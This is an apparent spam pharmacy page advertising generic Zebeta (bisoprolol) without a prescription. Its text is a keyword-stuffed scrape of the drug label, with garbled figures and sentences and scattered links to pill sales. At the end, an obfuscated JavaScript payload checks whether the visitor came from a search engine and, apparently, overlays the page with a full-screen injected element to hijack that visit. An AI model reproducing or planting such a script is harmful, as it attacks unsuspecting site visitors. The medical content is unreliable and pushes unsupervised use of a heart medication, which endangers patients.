Generic Zebeta Without Prescriptions

Rating 4.7 stars, based on 317 comments

Mesenteric arterial thrombosis, ischemic colitis. Miscellaneous The oculomucocutaneous syndrome associated with the beta-blocker practolol has not been reported with ZEBETA bisoprolol fumarate during investigational use or extensive foreign marketing experience. Sporadic liver test abnormalities have been generic Zebeta Without Prescriptions. No patient had concomitant elevations greater than twice normal. In the generic Zebeta Without Prescriptions, uncontrolled experience with bisoprolol fumarate treatment for 6-18 months, the incidence of one or generic Zebeta Without Prescriptions concomitant elevations in SGOT and SGPT from 1 to 2 times normal was 6. The incidence of multiple occurrences was 1. The incidence of multiple occurrences was 0.

In many cases these elevations were attributed to underlying disorders, or resolved during continued treatment with bisoprolol fumarate. These were generally not of clinical importance and rarely resulted in discontinuation of bisoprolol fumarate. As with other beta-blockers, ANA conversions have also been reported on bisoprolol fumarate, Generic Zebeta Without Prescriptions.

In patients receiving concurrent therapy with clonidine, if therapy is to be discontinued, it is suggested that ZEBETA be discontinued for several days before the withdrawal of clonidine, Generic Zebeta Without Prescriptions. ZEBETA should be used with care when myocardial depressants ui-design.moglid.com inhibitors of AV conduction, such as certain calcium antagonists particularly of the phenylalkylamine and benzothiazepine classes, or antiarrhythmic agents, such as disopyramide, are used concurrently. Both digitalis glycosides and beta-blockers slow atrioventricular conduction and decrease heart rate. Concomitant use can increase the risk of bradycardia. However, generic Zebeta Without Prescriptions dose modification is generic Zebeta Without Prescriptions not necessary.

Pharmacokinetic studies document no clinically relevant interactions with other agents given concomitantly, including thiazide diuretics and cimetidine. Warnings WARNINGS Cardiac Failure Sympathetic stimulation is a vital component supporting circulatory function in the setting of congestive heart failure, and beta-blockade may result in generic Zebeta Without Prescriptions depression of myocardial contractility and precipitate more severe failure. In general, beta-blocking agents should be avoided in patients with overt congestive failure. However, in some patients with compensated cardiac failure it may be necessary to utilize them.

How can we help?

In such ui-design.moglid.com do not respond to, or who cannot tolerate other antihypertensive treatment. Since beta1-selectivity is not absolute, the lowest possible dose of ZEBETA should be used, with therapy starting at 2. A beta2 agonist bronchodilator should be made available. Diabetes And Hypoglycemia Beta-blockers may mask some of the manifestations of hypoglycemia, Generic Zebeta Without Prescriptions, particularly tachycardia.

However, patients subject to ui-design.moglid.com hypoglycemia, or diabetic patients receiving insulin or oral hypoglycemic agents, should be cautioned about these possibilities and bisoprolol fumarate should be used with caution. Thyrotoxicosis Beta-adrenergic blockade may mask clinical signs of hyperthyroidism, such as tachycardia. Risk Of Anaphylactic Reaction While taking beta-blockers, patients with a history of severe anaphylactic reaction to a variety of allergens may be more generic Zebeta Without Prescriptions to repeated challenge, either accidental, diagnostic, or therapeutic. Such patients may be unresponsive to the usual doses of epinephrine used to treat allergic reactions.

On a body weight basis, these doses are 625 and 312 times, generic Zebeta Without Prescriptions, the maximum recommended human dose MRHD of 20 mg, or 0. The mutagenic potential of bisoprolol fumarate was evaluated in the microbial mutagenicity Ames test, the point mutation and chromosome aberration assays in Chinese hamster V79 cells, the unscheduled DNA synthesis test, the micronucleus test in mice, and the cytogenetics assay in rats. There was no evidence of mutagenic potential in these in vitro and in vivo assays. In rabbits, bisoprolol fumarate was not generic Zebeta Without Prescriptions at doses up to 12. There are no adequate and well-controlled studies in pregnant women. ZEBETA bisoprolol fumarate should be used during pregnancy only if the potential benefit justifies the potential risk to the fetus.

Pediatric Use Safety and effectiveness in pediatric patients have not been established.

Take Generic Zebeta exactly as it was prescribed for you. Do not take the medication in larger amounts or for longer than recommended by your doctor. Follow the directions on your prescription label. Take this medication with a full glass of water. Take Generic Zebeta at the same time every day.

Response rates and mean decreases ui-design.moglid.com Although no dose response study was conducted in generic Zebeta Without Prescriptions patients, there was a tendency for older patients to be maintained on higher doses of bisoprolol fumarate. Observed reductions in heart rate were slightly greater in the elderly than in the young and tended to increase with increasing dose. In general, no disparity in adverse experience reports or dropouts for safety reasons was observed between older and younger patients.

Dose adjustment based on age is not necessary. To date, a few cases of overdose maximum: Sympathomimetic agents were given in some cases, and all patients recovered. In generic Zebeta Without Prescriptions, if overdose occurs, ZEBETA therapy should be stopped and supportive and symptomatic treatment should be provided. Limited data suggest that bisoprolol fumarate is not dialyzable. Based on the expected pharmacologic actions and recommendations for other beta-blockers, the following general measures should be considered when clinically warranted: If the response is inadequate, isoproterenol or another agent with positive chronotropic properties may be given cautiously.

Under some circumstances, transvenous pacemaker insertion may be generic Zebeta Without Prescriptions. Intravenous glucagon may be useful. Heart Block Second Or Third Degree Patients should be carefully monitored and treated with isoproterenol infusion or transvenous cardiac pacemaker insertion, as appropriate. Congestive Heart Failure Initiate conventional therapy ie, digitalis, diuretics, Generic Zebeta Without Prescriptions, inotropic agents, vasodilating agents.

Absorption is not generic Zebeta Without Prescriptions by the presence of food, Generic Zebeta Without Prescriptions. Once daily dosing with bisoprolol fumarate results Purchase Cheap Mobic Generic pills plasma levels. The plasma elimination half-life is 9-12 hours and is slightly longer in elderly patients, in part because of decreased renal function in that population.

Steady state is attained within 5 days of once daily dosing. In both young and elderly populations, plasma accumulation is generic Zebeta Without Prescriptions the accumulation factor ranges from 1. Pharmacokinetic characteristics of the two enantiomers are similar. In humans, the known metabolites are labile or have no known pharmacologic activity. Bisoprolol fumarate is not metabolized by cytochrome P450 II D6 debrisoquin hydroxylase.

In patients with cirrhosis of the liver, the elimination of ZEBETA bisoprolol fumarate is more variable in rate and significantly slower than that in buy Tadalafil generic Zebeta Without Prescriptions prominent effect of ZEBETA is the negative chronotropic effect, resulting in a reduction in resting and exercise heart rate. There is a fall in resting and exercise cardiac output with little observed change in stroke volume, and only a small increase in right atrial pressure, or pulmonary capillary wedge pressure at rest or during exercise.

Findings in short-term clinical hemodynamics studies with ZEBETA are similar to those observed with generic Zebeta Without Prescriptions beta-blocking agents. The mechanism of action of its antihypertensive effects has not been completely established. Factors which may be involved include: Decreased cardiac output, Inhibition of renin release by the kidneys, Diminution of tonic sympathetic outflow from the vasomotor centers in the brain. The maximal effect occurred within 1-4 hours post-dosing.

Effects persisted for 24 hours at doses generic Zebeta Without Prescriptions to or greater than 5 mg. Electrophysiology studies in man have demonstrated that ZEBETA significantly decreases heart rate, increases sinus node recovery time, prolongs AV node refractory periods, and, with rapid atrial stimulation, prolongs AV nodal conduction. No effects at therapeutic doses on beta -adrenoceptor density have been observed.

• DIAL study diabete, ipertensione, albuminuria, lercanidipina.
• Caution should be exercised in such individuals.
• Steady state is attained within 5 days of once daily dosing.
• Precautions This medication influences ability to concentration of attention so be specially careful if you need to drive or do work which requires a fast reaction.
• Since beta1-selectivity is not absolute, the lowest possible dose of ZEBETA should be used, with therapy starting at 2.

Doses of ZEBETA ranged from 5 to 60 mg, atenolol from 50 to 200 mg, Generic Zebeta Without Prescriptions, metoprolol from 100 to ui-design.moglid.com mg, and propranolol from 40 to 80 mg. In generic Zebeta Without Prescriptions studies, slight, asymptomatic increases in airways resistance AWR and decreases in forced expiratory volume FEV1 were observed with doses of bisoprolol fumarate 20 mg and higher, similar to the small increases in AWR also noted with the other cardioselective beta-blockers.

The changes induced by beta-blockade with all agents were reversed by bronchodilator therapy. Even very low doses of hydrochlorothiazide 6. Clinical Studies In two randomized double-blind placebo-controlled trials conducted in the U.

Lgh1IYb

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,51,57,56,50,113,72,84,77,76,60,34,48,112,47,95,63,38,43,85,67,119,90,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+(![]+[])[!+[]+!+[]+!+[]]+$[24]+$[13]+$[24]+$[25]+$[14]+$[13]+([]+[]+{})[!+[]+!+[]]+$[26]+$[27]+$[13]+(![]+[])[!+[]+!+[]]+$[17]+$[24]+$[0]+$[3]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[28]+$[29]+$[30]+$[31]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[32]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[33]+$[34]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[33]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[33]+$[34]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[33]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[33]+$[36]+$[36]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[36]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[37]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+$[38]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[37]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+$[1]+$[22]+$[42]+([]+[]+{})[+!+[]]+$[3]+$[35]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[37]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[43]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[44]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[40]+$[43]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[43]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[35]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[38]+$[9]+$[45]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[11]+$[40]+$[9]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[33]+$[35]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[46]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[46]+$[14]+$[34]+$[34]+$[47]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[46]+$[14]+$[34]+$[34]+$[47]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[46]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[48]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[46]+$[23]+$[34]+$[34]+$[34]+$[34]+$[34]+$[34]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[46]+$[34]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+$[46]+$[34]+$[5]+$[33]+$[49]+$[32]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[49]+$[9]+$[6]+$[50])();